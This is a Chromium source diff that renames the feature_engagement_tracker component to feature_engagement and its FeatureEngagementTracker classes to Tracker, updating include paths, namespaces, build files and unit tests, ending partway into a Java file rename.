diff --git a/components/feature_engagement_tracker/internal/system_time_provider.cc b/components/feature_engagement/internal/system_time_provider.cc
similarity index 77%
rename from components/feature_engagement_tracker/internal/system_time_provider.cc
rename to components/feature_engagement/internal/system_time_provider.cc
index 6e00ee9..8e6d83d 100644
--- a/components/feature_engagement_tracker/internal/system_time_provider.cc
+++ b/components/feature_engagement/internal/system_time_provider.cc
@@ -2,11 +2,11 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#include "components/feature_engagement_tracker/internal/system_time_provider.h"
+#include "components/feature_engagement/internal/system_time_provider.h"
 
 #include "base/time/time.h"
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 
 SystemTimeProvider::SystemTimeProvider() = default;
 
@@ -21,4 +21,4 @@
   return base::Time::Now();
 }
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
diff --git a/components/feature_engagement_tracker/internal/system_time_provider.h b/components/feature_engagement/internal/system_time_provider.h
similarity index 61%
rename from components/feature_engagement_tracker/internal/system_time_provider.h
rename to components/feature_engagement/internal/system_time_provider.h
index 9f6a849..bd48c68 100644
--- a/components/feature_engagement_tracker/internal/system_time_provider.h
+++ b/components/feature_engagement/internal/system_time_provider.h
@@ -2,14 +2,14 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#ifndef COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_SYSTEM_TIME_PROVIDER_H_
-#define COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_SYSTEM_TIME_PROVIDER_H_
+#ifndef COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_SYSTEM_TIME_PROVIDER_H_
+#define COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_SYSTEM_TIME_PROVIDER_H_
 
 #include "base/macros.h"
 #include "base/time/time.h"
-#include "components/feature_engagement_tracker/internal/time_provider.h"
+#include "components/feature_engagement/internal/time_provider.h"
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 
 // A TimeProvider that uses the system time.
 class SystemTimeProvider : public TimeProvider {
@@ -29,6 +29,6 @@
   DISALLOW_COPY_AND_ASSIGN(SystemTimeProvider);
 };
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
 
-#endif  // COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_SYSTEM_TIME_PROVIDER_H_
+#endif  // COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_SYSTEM_TIME_PROVIDER_H_
diff --git a/components/feature_engagement_tracker/internal/system_time_provider_unittest.cc b/components/feature_engagement/internal/system_time_provider_unittest.cc
similarity index 95%
rename from components/feature_engagement_tracker/internal/system_time_provider_unittest.cc
rename to components/feature_engagement/internal/system_time_provider_unittest.cc
index e9d08c0..d1ab472 100644
--- a/components/feature_engagement_tracker/internal/system_time_provider_unittest.cc
+++ b/components/feature_engagement/internal/system_time_provider_unittest.cc
@@ -2,13 +2,13 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#include "components/feature_engagement_tracker/internal/system_time_provider.h"
+#include "components/feature_engagement/internal/system_time_provider.h"
 
 #include "base/macros.h"
 #include "base/time/time.h"
 #include "testing/gtest/include/gtest/gtest.h"
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 
 namespace {
 
@@ -110,4 +110,4 @@
   EXPECT_EQ(17305u, time_provider_.GetCurrentDay());
 }
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
diff --git a/components/feature_engagement_tracker/internal/test/BUILD.gn b/components/feature_engagement/internal/test/BUILD.gn
similarity index 68%
rename from components/feature_engagement_tracker/internal/test/BUILD.gn
rename to components/feature_engagement/internal/test/BUILD.gn
index 8300138..961c1f6 100644
--- a/components/feature_engagement_tracker/internal/test/BUILD.gn
+++ b/components/feature_engagement/internal/test/BUILD.gn
@@ -5,7 +5,7 @@
 source_set("test_support") {
   testonly = true
 
-  visibility = [ "//components/feature_engagement_tracker/internal:unit_tests" ]
+  visibility = [ "//components/feature_engagement/internal:unit_tests" ]
 
   sources = [
     "event_util.cc",
@@ -13,7 +13,7 @@
   ]
 
   deps = [
-    "//components/feature_engagement_tracker/internal/proto",
+    "//components/feature_engagement/internal/proto",
     "//testing/gtest",
   ]
 }
diff --git a/components/feature_engagement_tracker/internal/test/event_util.cc b/components/feature_engagement/internal/test/event_util.cc
similarity index 83%
rename from components/feature_engagement_tracker/internal/test/event_util.cc
rename to components/feature_engagement/internal/test/event_util.cc
index af6a351..241152f0 100644
--- a/components/feature_engagement_tracker/internal/test/event_util.cc
+++ b/components/feature_engagement/internal/test/event_util.cc
@@ -2,12 +2,12 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#include "components/feature_engagement_tracker/internal/test/event_util.h"
+#include "components/feature_engagement/internal/test/event_util.h"
 
-#include "components/feature_engagement_tracker/internal/proto/event.pb.h"
+#include "components/feature_engagement/internal/proto/event.pb.h"
 #include "testing/gtest/include/gtest/gtest.h"
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 namespace test {
 
 void SetEventCountForDay(Event* event, uint32_t day, uint32_t count) {
@@ -43,4 +43,4 @@
 }
 
 }  // namespace test
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
diff --git a/components/feature_engagement_tracker/internal/test/event_util.h b/components/feature_engagement/internal/test/event_util.h
similarity index 68%
rename from components/feature_engagement_tracker/internal/test/event_util.h
rename to components/feature_engagement/internal/test/event_util.h
index f4cc90ad..f6e84b4b 100644
--- a/components/feature_engagement_tracker/internal/test/event_util.h
+++ b/components/feature_engagement/internal/test/event_util.h
@@ -2,12 +2,12 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#ifndef COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_TEST_EVENT_UTIL_H_
-#define COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_TEST_EVENT_UTIL_H_
+#ifndef COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_TEST_EVENT_UTIL_H_
+#define COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_TEST_EVENT_UTIL_H_
 
 #include <stdint.h>
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 
 class Event;
 
@@ -24,6 +24,6 @@
 void VerifyEventsEqual(const Event* a, const Event* b);
 
 }  // namespace test
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
 
-#endif  // COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_TEST_EVENT_UTIL_H_
+#endif  // COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_TEST_EVENT_UTIL_H_
diff --git a/components/feature_engagement_tracker/internal/time_provider.h b/components/feature_engagement/internal/time_provider.h
similarity index 65%
rename from components/feature_engagement_tracker/internal/time_provider.h
rename to components/feature_engagement/internal/time_provider.h
index da3b61d..50c73ee 100644
--- a/components/feature_engagement_tracker/internal/time_provider.h
+++ b/components/feature_engagement/internal/time_provider.h
@@ -2,14 +2,14 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#ifndef COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_TIME_PROVIDER_H_
-#define COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_TIME_PROVIDER_H_
+#ifndef COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_TIME_PROVIDER_H_
+#define COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_TIME_PROVIDER_H_
 
 #include <stdint.h>
 
 #include "base/macros.h"
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 
 // A TimeProvider provides functionality related to time.
 class TimeProvider {
@@ -26,6 +26,6 @@
   DISALLOW_COPY_AND_ASSIGN(TimeProvider);
 };
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
 
-#endif  // COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_TIME_PROVIDER_H_
+#endif  // COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_TIME_PROVIDER_H_
diff --git a/components/feature_engagement_tracker/internal/feature_engagement_tracker_impl.cc b/components/feature_engagement/internal/tracker_impl.cc
similarity index 66%
rename from components/feature_engagement_tracker/internal/feature_engagement_tracker_impl.cc
rename to components/feature_engagement/internal/tracker_impl.cc
index 825ab8d1..aa4843b0 100644
--- a/components/feature_engagement_tracker/internal/feature_engagement_tracker_impl.cc
+++ b/components/feature_engagement/internal/tracker_impl.cc
@@ -2,7 +2,7 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#include "components/feature_engagement_tracker/internal/feature_engagement_tracker_impl.h"
+#include "components/feature_engagement/internal/tracker_impl.h"
 
 #include <memory>
 #include <utility>
@@ -15,26 +15,26 @@
 #include "base/metrics/field_trial_params.h"
 #include "base/metrics/user_metrics.h"
 #include "base/threading/thread_task_runner_handle.h"
-#include "components/feature_engagement_tracker/internal/availability_model_impl.h"
-#include "components/feature_engagement_tracker/internal/chrome_variations_configuration.h"
-#include "components/feature_engagement_tracker/internal/editable_configuration.h"
-#include "components/feature_engagement_tracker/internal/event_model_impl.h"
-#include "components/feature_engagement_tracker/internal/feature_config_condition_validator.h"
-#include "components/feature_engagement_tracker/internal/feature_config_event_storage_validator.h"
-#include "components/feature_engagement_tracker/internal/in_memory_event_store.h"
-#include "components/feature_engagement_tracker/internal/init_aware_event_model.h"
-#include "components/feature_engagement_tracker/internal/never_availability_model.h"
-#include "components/feature_engagement_tracker/internal/never_event_storage_validator.h"
-#include "components/feature_engagement_tracker/internal/once_condition_validator.h"
-#include "components/feature_engagement_tracker/internal/persistent_event_store.h"
-#include "components/feature_engagement_tracker/internal/proto/availability.pb.h"
-#include "components/feature_engagement_tracker/internal/stats.h"
-#include "components/feature_engagement_tracker/internal/system_time_provider.h"
-#include "components/feature_engagement_tracker/public/feature_constants.h"
-#include "components/feature_engagement_tracker/public/feature_list.h"
+#include "components/feature_engagement/internal/availability_model_impl.h"
+#include "components/feature_engagement/internal/chrome_variations_configuration.h"
+#include "components/feature_engagement/internal/editable_configuration.h"
+#include "components/feature_engagement/internal/event_model_impl.h"
+#include "components/feature_engagement/internal/feature_config_condition_validator.h"
+#include "components/feature_engagement/internal/feature_config_event_storage_validator.h"
+#include "components/feature_engagement/internal/in_memory_event_store.h"
+#include "components/feature_engagement/internal/init_aware_event_model.h"
+#include "components/feature_engagement/internal/never_availability_model.h"
+#include "components/feature_engagement/internal/never_event_storage_validator.h"
+#include "components/feature_engagement/internal/once_condition_validator.h"
+#include "components/feature_engagement/internal/persistent_event_store.h"
+#include "components/feature_engagement/internal/proto/availability.pb.h"
+#include "components/feature_engagement/internal/stats.h"
+#include "components/feature_engagement/internal/system_time_provider.h"
+#include "components/feature_engagement/public/feature_constants.h"
+#include "components/feature_engagement/public/feature_list.h"
 #include "components/leveldb_proto/proto_database_impl.h"
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 
 namespace {
 const base::FilePath::CharType kEventDBStorageDir[] =
@@ -42,9 +42,8 @@
 const base::FilePath::CharType kAvailabilityDBStorageDir[] =
     FILE_PATH_LITERAL("AvailabilityDB");
 
-// Creates a FeatureEngagementTrackerImpl that is usable for a demo mode.
-std::unique_ptr<FeatureEngagementTracker>
-CreateDemoModeFeatureEngagementTracker() {
+// Creates a TrackerImpl that is usable for a demo mode.
+std::unique_ptr<Tracker> CreateDemoModeTracker() {
   // GetFieldTrialParamValueByFeature returns an empty string if the param is
   // not set.
   std::string chosen_feature_name = base::GetFieldTrialParamValueByFeature(
@@ -75,7 +74,7 @@
       base::MakeUnique<InMemoryEventStore>(),
       base::MakeUnique<NeverEventStorageValidator>());
 
-  return base::MakeUnique<FeatureEngagementTrackerImpl>(
+  return base::MakeUnique<TrackerImpl>(
       base::MakeUnique<InitAwareEventModel>(std::move(raw_event_model)),
       base::MakeUnique<NeverAvailabilityModel>(), std::move(configuration),
       base::MakeUnique<OnceConditionValidator>(),
@@ -84,16 +83,16 @@
 
 }  // namespace
 
-// This method is declared in //components/feature_engagement_tracker/public/
-//     feature_engagement_tracker.h
-// and should be linked in to any binary using FeatureEngagementTracker::Create.
+// This method is declared in //components/feature_engagement/public/
+//     feature_engagement.h
+// and should be linked in to any binary using Tracker::Create.
 // static
-FeatureEngagementTracker* FeatureEngagementTracker::Create(
+Tracker* Tracker::Create(
     const base::FilePath& storage_dir,
     const scoped_refptr<base::SequencedTaskRunner>& background_task_runner) {
-  DVLOG(2) << "Creating FeatureEngagementTracker";
+  DVLOG(2) << "Creating Tracker";
   if (base::FeatureList::IsEnabled(kIPHDemoMode))
-    return CreateDemoModeFeatureEngagementTracker().release();
+    return CreateDemoModeTracker().release();
 
   std::unique_ptr<leveldb_proto::ProtoDatabase<Event>> event_db =
       base::MakeUnique<leveldb_proto::ProtoDatabaseImpl<Event>>(
@@ -131,13 +130,13 @@
   auto availability_model = base::MakeUnique<AvailabilityModelImpl>(
       std::move(availability_store_loader));
 
-  return new FeatureEngagementTrackerImpl(
-      std::move(event_model), std::move(availability_model),
-      std::move(configuration), std::move(condition_validator),
-      std::move(time_provider));
+  return new TrackerImpl(std::move(event_model), std::move(availability_model),
+                         std::move(configuration),
+                         std::move(condition_validator),
+                         std::move(time_provider));
 }
 
-FeatureEngagementTrackerImpl::FeatureEngagementTrackerImpl(
+TrackerImpl::TrackerImpl(
     std::unique_ptr<EventModel> event_model,
     std::unique_ptr<AvailabilityModel> availability_model,
     std::unique_ptr<Configuration> configuration,
@@ -152,28 +151,25 @@
       availability_model_initialization_finished_(false),
       weak_ptr_factory_(this) {
   event_model_->Initialize(
-      base::Bind(
-          &FeatureEngagementTrackerImpl::OnEventModelInitializationFinished,
-          weak_ptr_factory_.GetWeakPtr()),
+      base::Bind(&TrackerImpl::OnEventModelInitializationFinished,
+                 weak_ptr_factory_.GetWeakPtr()),
       time_provider_->GetCurrentDay());
 
   availability_model_->Initialize(
-      base::Bind(&FeatureEngagementTrackerImpl::
-                     OnAvailabilityModelInitializationFinished,
+      base::Bind(&TrackerImpl::OnAvailabilityModelInitializationFinished,
                  weak_ptr_factory_.GetWeakPtr()),
       time_provider_->GetCurrentDay());
 }
 
-FeatureEngagementTrackerImpl::~FeatureEngagementTrackerImpl() = default;
+TrackerImpl::~TrackerImpl() = default;
 
-void FeatureEngagementTrackerImpl::NotifyEvent(const std::string& event) {
+void TrackerImpl::NotifyEvent(const std::string& event) {
   event_model_->IncrementEvent(event, time_provider_->GetCurrentDay());
   stats::RecordNotifyEvent(event, configuration_.get(),
                            event_model_->IsReady());
 }
 
-bool FeatureEngagementTrackerImpl::ShouldTriggerHelpUI(
-    const base::Feature& feature) {
+bool TrackerImpl::ShouldTriggerHelpUI(const base::Feature& feature) {
   ConditionValidator::Result result = condition_validator_->MeetsConditions(
       feature, configuration_->GetFeatureConfig(feature), *event_model_,
       *availability_model_, time_provider_->GetCurrentDay());
@@ -191,18 +187,17 @@
   return result.NoErrors();
 }
 
-void FeatureEngagementTrackerImpl::Dismissed(const base::Feature& feature) {
+void TrackerImpl::Dismissed(const base::Feature& feature) {
   DVLOG(2) << "Dismissing " << feature.name;
   condition_validator_->NotifyDismissed(feature);
   stats::RecordUserDismiss();
 }
 
-bool FeatureEngagementTrackerImpl::IsInitialized() {
+bool TrackerImpl::IsInitialized() {
   return event_model_->IsReady() && availability_model_->IsReady();
 }
 
-void FeatureEngagementTrackerImpl::AddOnInitializedCallback(
-    OnInitializedCallback callback) {
+void TrackerImpl::AddOnInitializedCallback(OnInitializedCallback callback) {
   if (IsInitializationFinished()) {
     base::ThreadTaskRunnerHandle::Get()->PostTask(
         FROM_HERE, base::Bind(callback, IsInitialized()));
@@ -212,8 +207,7 @@
   on_initialized_callbacks_.push_back(callback);
 }
 
-void FeatureEngagementTrackerImpl::OnEventModelInitializationFinished(
-    bool success) {
+void TrackerImpl::OnEventModelInitializationFinished(bool success) {
   DCHECK_EQ(success, event_model_->IsReady());
   event_model_initialization_finished_ = true;
 
@@ -222,8 +216,7 @@
   MaybePostInitializedCallbacks();
 }
 
-void FeatureEngagementTrackerImpl::OnAvailabilityModelInitializationFinished(
-    bool success) {
+void TrackerImpl::OnAvailabilityModelInitializationFinished(bool success) {
   DCHECK_EQ(success, availability_model_->IsReady());
   availability_model_initialization_finished_ = true;
 
@@ -232,12 +225,12 @@
   MaybePostInitializedCallbacks();
 }
 
-bool FeatureEngagementTrackerImpl::IsInitializationFinished() const {
+bool TrackerImpl::IsInitializationFinished() const {
   return event_model_initialization_finished_ &&
          availability_model_initialization_finished_;
 }
 
-void FeatureEngagementTrackerImpl::MaybePostInitializedCallbacks() {
+void TrackerImpl::MaybePostInitializedCallbacks() {
   if (!IsInitializationFinished())
     return;
 
@@ -251,4 +244,4 @@
   on_initialized_callbacks_.clear();
 }
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
diff --git a/components/feature_engagement_tracker/internal/feature_engagement_tracker_impl.h b/components/feature_engagement/internal/tracker_impl.h
similarity index 66%
rename from components/feature_engagement_tracker/internal/feature_engagement_tracker_impl.h
rename to components/feature_engagement/internal/tracker_impl.h
index 4978074d..2f74804 100644
--- a/components/feature_engagement_tracker/internal/feature_engagement_tracker_impl.h
+++ b/components/feature_engagement/internal/tracker_impl.h
@@ -2,8 +2,8 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#ifndef COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_FEATURE_ENGAGEMENT_TRACKER_IMPL_H_
-#define COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_FEATURE_ENGAGEMENT_TRACKER_IMPL_H_
+#ifndef COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_TRACKER_IMPL_H_
+#define COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_TRACKER_IMPL_H_
 
 #include <string>
 #include <vector>
@@ -12,28 +12,26 @@
 #include "base/macros.h"
 #include "base/memory/weak_ptr.h"
 #include "base/supports_user_data.h"
-#include "components/feature_engagement_tracker/public/feature_engagement_tracker.h"
+#include "components/feature_engagement/public/tracker.h"
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 class AvailabilityModel;
 class Configuration;
 class ConditionValidator;
 class EventModel;
 class TimeProvider;
 
-// The internal implementation of the FeatureEngagementTracker.
-class FeatureEngagementTrackerImpl : public FeatureEngagementTracker,
-                                     public base::SupportsUserData {
+// The internal implementation of the Tracker.
+class TrackerImpl : public Tracker, public base::SupportsUserData {
  public:
-  FeatureEngagementTrackerImpl(
-      std::unique_ptr<EventModel> event_model,
-      std::unique_ptr<AvailabilityModel> availability_model,
-      std::unique_ptr<Configuration> configuration,
-      std::unique_ptr<ConditionValidator> condition_validator,
-      std::unique_ptr<TimeProvider> time_provider);
-  ~FeatureEngagementTrackerImpl() override;
+  TrackerImpl(std::unique_ptr<EventModel> event_model,
+              std::unique_ptr<AvailabilityModel> availability_model,
+              std::unique_ptr<Configuration> configuration,
+              std::unique_ptr<ConditionValidator> condition_validator,
+              std::unique_ptr<TimeProvider> time_provider);
+  ~TrackerImpl() override;
 
-  // FeatureEngagementTracker implementation.
+  // Tracker implementation.
   void NotifyEvent(const std::string& event) override;
   bool ShouldTriggerHelpUI(const base::Feature& feature) override;
   void Dismissed(const base::Feature& feature) override;
@@ -83,11 +81,11 @@
   // is cleared after the initialization has happened.
   std::vector<OnInitializedCallback> on_initialized_callbacks_;
 
-  base::WeakPtrFactory<FeatureEngagementTrackerImpl> weak_ptr_factory_;
+  base::WeakPtrFactory<TrackerImpl> weak_ptr_factory_;
 
-  DISALLOW_COPY_AND_ASSIGN(FeatureEngagementTrackerImpl);
+  DISALLOW_COPY_AND_ASSIGN(TrackerImpl);
 };
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
 
-#endif  // COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_FEATURE_ENGAGEMENT_TRACKER_IMPL_H_
+#endif  // COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_TRACKER_IMPL_H_
diff --git a/components/feature_engagement_tracker/internal/feature_engagement_tracker_impl_unittest.cc b/components/feature_engagement/internal/tracker_impl_unittest.cc
similarity index 88%
rename from components/feature_engagement_tracker/internal/feature_engagement_tracker_impl_unittest.cc
rename to components/feature_engagement/internal/tracker_impl_unittest.cc
index 0562ee29..e75bda9c 100644
--- a/components/feature_engagement_tracker/internal/feature_engagement_tracker_impl_unittest.cc
+++ b/components/feature_engagement/internal/tracker_impl_unittest.cc
@@ -2,7 +2,7 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#include "components/feature_engagement_tracker/internal/feature_engagement_tracker_impl.h"
+#include "components/feature_engagement/internal/tracker_impl.h"
 
 #include <memory>
 
@@ -16,18 +16,18 @@
 #include "base/test/histogram_tester.h"
 #include "base/test/user_action_tester.h"
 #include "base/threading/thread_task_runner_handle.h"
-#include "components/feature_engagement_tracker/internal/availability_model_impl.h"
-#include "components/feature_engagement_tracker/internal/editable_configuration.h"
-#include "components/feature_engagement_tracker/internal/event_model_impl.h"
-#include "components/feature_engagement_tracker/internal/in_memory_event_store.h"
-#include "components/feature_engagement_tracker/internal/never_availability_model.h"
-#include "components/feature_engagement_tracker/internal/never_event_storage_validator.h"
-#include "components/feature_engagement_tracker/internal/once_condition_validator.h"
-#include "components/feature_engagement_tracker/internal/stats.h"
-#include "components/feature_engagement_tracker/internal/time_provider.h"
+#include "components/feature_engagement/internal/availability_model_impl.h"
+#include "components/feature_engagement/internal/editable_configuration.h"
+#include "components/feature_engagement/internal/event_model_impl.h"
+#include "components/feature_engagement/internal/in_memory_event_store.h"
+#include "components/feature_engagement/internal/never_availability_model.h"
+#include "components/feature_engagement/internal/never_event_storage_validator.h"
+#include "components/feature_engagement/internal/once_condition_validator.h"
+#include "components/feature_engagement/internal/stats.h"
+#include "components/feature_engagement/internal/time_provider.h"
 #include "testing/gtest/include/gtest/gtest.h"
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 
 namespace {
 const base::Feature kTestFeatureFoo{"test_foo",
@@ -154,9 +154,9 @@
   DISALLOW_COPY_AND_ASSIGN(TestAvailabilityModel);
 };
 
-class FeatureEngagementTrackerImplTest : public ::testing::Test {
+class TrackerImplTest : public ::testing::Test {
  public:
-  FeatureEngagementTrackerImplTest() = default;
+  TrackerImplTest() = default;
 
   void SetUp() override {
     std::unique_ptr<EditableConfiguration> configuration =
@@ -178,7 +178,7 @@
     availability_model_ = availability_model.get();
     availability_model_->SetIsReady(ShouldAvailabilityStoreBeReady());
 
-    tracker_.reset(new FeatureEngagementTrackerImpl(
+    tracker_.reset(new TrackerImpl(
         std::move(event_model), std::move(availability_model),
         std::move(configuration), base::MakeUnique<OnceConditionValidator>(),
         base::MakeUnique<TestTimeProvider>()));
@@ -315,21 +315,20 @@
   virtual bool ShouldAvailabilityStoreBeReady() { return true; }
 
   base::MessageLoop message_loop_;
-  std::unique_ptr<FeatureEngagementTrackerImpl> tracker_;
+  std::unique_ptr<TrackerImpl> tracker_;
   TestInMemoryEventStore* event_store_;
   TestAvailabilityModel* availability_model_;
   Configuration* configuration_;
   base::HistogramTester histogram_tester_;
 
  private:
-  DISALLOW_COPY_AND_ASSIGN(FeatureEngagementTrackerImplTest);
+  DISALLOW_COPY_AND_ASSIGN(TrackerImplTest);
 };
 
 // A top-level test class where the store fails to initialize.
-class FailingStoreInitFeatureEngagementTrackerImplTest
-    : public FeatureEngagementTrackerImplTest {
+class FailingStoreInitTrackerImplTest : public TrackerImplTest {
  public:
-  FailingStoreInitFeatureEngagementTrackerImplTest() = default;
+  FailingStoreInitTrackerImplTest() = default;
 
  protected:
   std::unique_ptr<TestInMemoryEventStore> CreateEventStore() override {
@@ -338,26 +337,24 @@
   }
 
  private:
-  DISALLOW_COPY_AND_ASSIGN(FailingStoreInitFeatureEngagementTrackerImplTest);
+  DISALLOW_COPY_AND_ASSIGN(FailingStoreInitTrackerImplTest);
 };
 
 // A top-level test class where the AvailabilityModel fails to initialize.
-class FailingAvailabilityModelInitFeatureEngagementTrackerImplTest
-    : public FeatureEngagementTrackerImplTest {
+class FailingAvailabilityModelInitTrackerImplTest : public TrackerImplTest {
  public:
-  FailingAvailabilityModelInitFeatureEngagementTrackerImplTest() = default;
+  FailingAvailabilityModelInitTrackerImplTest() = default;
 
  protected:
   bool ShouldAvailabilityStoreBeReady() override { return false; }
 
  private:
-  DISALLOW_COPY_AND_ASSIGN(
-      FailingAvailabilityModelInitFeatureEngagementTrackerImplTest);
+  DISALLOW_COPY_AND_ASSIGN(FailingAvailabilityModelInitTrackerImplTest);
 };
 
 }  // namespace
 
-TEST_F(FeatureEngagementTrackerImplTest, TestInitialization) {
+TEST_F(TrackerImplTest, TestInitialization) {
   EXPECT_FALSE(tracker_->IsInitialized());
 
   StoringInitializedCallback callback;
@@ -373,7 +370,7 @@
   EXPECT_TRUE(callback.success());
 }
 
-TEST_F(FeatureEngagementTrackerImplTest, TestInitializationMultipleCallbacks) {
+TEST_F(TrackerImplTest, TestInitializationMultipleCallbacks) {
   EXPECT_FALSE(tracker_->IsInitialized());
 
   StoringInitializedCallback callback1;
@@ -398,7 +395,7 @@
   EXPECT_TRUE(callback2.success());
 }
 
-TEST_F(FeatureEngagementTrackerImplTest, TestAddingCallbackAfterInitFinished) {
+TEST_F(TrackerImplTest, TestAddingCallbackAfterInitFinished) {
   EXPECT_FALSE(tracker_->IsInitialized());
 
   // Ensure all initialization is finished.
@@ -416,8 +413,7 @@
   EXPECT_TRUE(callback.invoked());
 }
 
-TEST_F(FeatureEngagementTrackerImplTest,
-       TestAddingCallbackBeforeAndAfterInitFinished) {
+TEST_F(TrackerImplTest, TestAddingCallbackBeforeAndAfterInitFinished) {
   EXPECT_FALSE(tracker_->IsInitialized());
 
   // Ensure all initialization is finished.
@@ -446,8 +442,7 @@
   EXPECT_TRUE(callback_after.invoked());
 }
 
-TEST_F(FailingStoreInitFeatureEngagementTrackerImplTest,
-       TestFailingInitialization) {
+TEST_F(FailingStoreInitTrackerImplTest, TestFailingInitialization) {
   EXPECT_FALSE(tracker_->IsInitialized());
 
   StoringInitializedCallback callback;
@@ -463,7 +458,7 @@
   EXPECT_FALSE(callback.success());
 }
 
-TEST_F(FailingStoreInitFeatureEngagementTrackerImplTest,
+TEST_F(FailingStoreInitTrackerImplTest,
        TestFailingInitializationMultipleCallbacks) {
   EXPECT_FALSE(tracker_->IsInitialized());
 
@@ -488,8 +483,7 @@
   EXPECT_FALSE(callback2.success());
 }
 
-TEST_F(FailingAvailabilityModelInitFeatureEngagementTrackerImplTest,
-       AvailabilityModelNotReady) {
+TEST_F(FailingAvailabilityModelInitTrackerImplTest, AvailabilityModelNotReady) {
   EXPECT_FALSE(tracker_->IsInitialized());
 
   StoringInitializedCallback callback;
@@ -505,7 +499,7 @@
   EXPECT_FALSE(callback.success());
 }
 
-TEST_F(FeatureEngagementTrackerImplTest, TestTriggering) {
+TEST_F(TrackerImplTest, TestTriggering) {
   // Ensure all initialization is finished.
   StoringInitializedCallback callback;
   tracker_->AddOnInitializedCallback(base::Bind(
@@ -569,7 +563,7 @@
   VerifyHistograms(true, 1, 3, true, 1, 2, true, 0, 4);
 }
 
-TEST_F(FeatureEngagementTrackerImplTest, TestNotifyEvent) {
+TEST_F(TrackerImplTest, TestNotifyEvent) {
   StoringInitializedCallback callback;
   tracker_->AddOnInitializedCallback(base::Bind(
       &StoringInitializedCallback::OnInitialized, base::Unretained(&callback)));
@@ -604,4 +598,4 @@
   EXPECT_EQ(1u, bar_event.events(0).count());
 }
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
diff --git a/components/feature_engagement_tracker/public/BUILD.gn b/components/feature_engagement/public/BUILD.gn
similarity index 79%
rename from components/feature_engagement_tracker/public/BUILD.gn
rename to components/feature_engagement/public/BUILD.gn
index 55bd9ea..853fe95 100644
--- a/components/feature_engagement_tracker/public/BUILD.gn
+++ b/components/feature_engagement/public/BUILD.gn
@@ -13,9 +13,9 @@
     "event_constants.h",
     "feature_constants.cc",
     "feature_constants.h",
-    "feature_engagement_tracker.h",
     "feature_list.cc",
     "feature_list.h",
+    "tracker.h",
   ]
 
   deps = [
@@ -23,18 +23,14 @@
     "//components/flags_ui",
     "//components/keyed_service/core",
   ]
-
-  if (is_android) {
-    sources += [ "android/feature_engagement_tracker_jni_registrar.h" ]
-  }
 }
 
 if (is_android) {
   android_library("public_java") {
     java_files = [
-      "android/java/src/org/chromium/components/feature_engagement_tracker/EventConstants.java",
-      "android/java/src/org/chromium/components/feature_engagement_tracker/FeatureConstants.java",
-      "android/java/src/org/chromium/components/feature_engagement_tracker/FeatureEngagementTracker.java",
+      "android/java/src/org/chromium/components/feature_engagement/EventConstants.java",
+      "android/java/src/org/chromium/components/feature_engagement/FeatureConstants.java",
+      "android/java/src/org/chromium/components/feature_engagement/Tracker.java",
     ]
 
     deps = [
diff --git a/components/feature_engagement_tracker/public/android/java/src/org/chromium/components/feature_engagement_tracker/EventConstants.java b/components/feature_engagement/public/android/java/src/org/chromium/components/feature_engagement/EventConstants.java
similarity index 96%
rename from components/feature_engagement_tracker/public/android/java/src/org/chromium/components/feature_engagement_tracker/EventConstants.java
rename to components/feature_engagement/public/android/java/src/org/chromium/components/feature_engagement/EventConstants.java
index cd34ad1..5198510 100644
--- a/components/feature_engagement_tracker/public/android/java/src/org/chromium/components/feature_engagement_tracker/EventConstants.java
+++ b/components/feature_engagement/public/android/java/src/org/chromium/components/feature_engagement/EventConstants.java
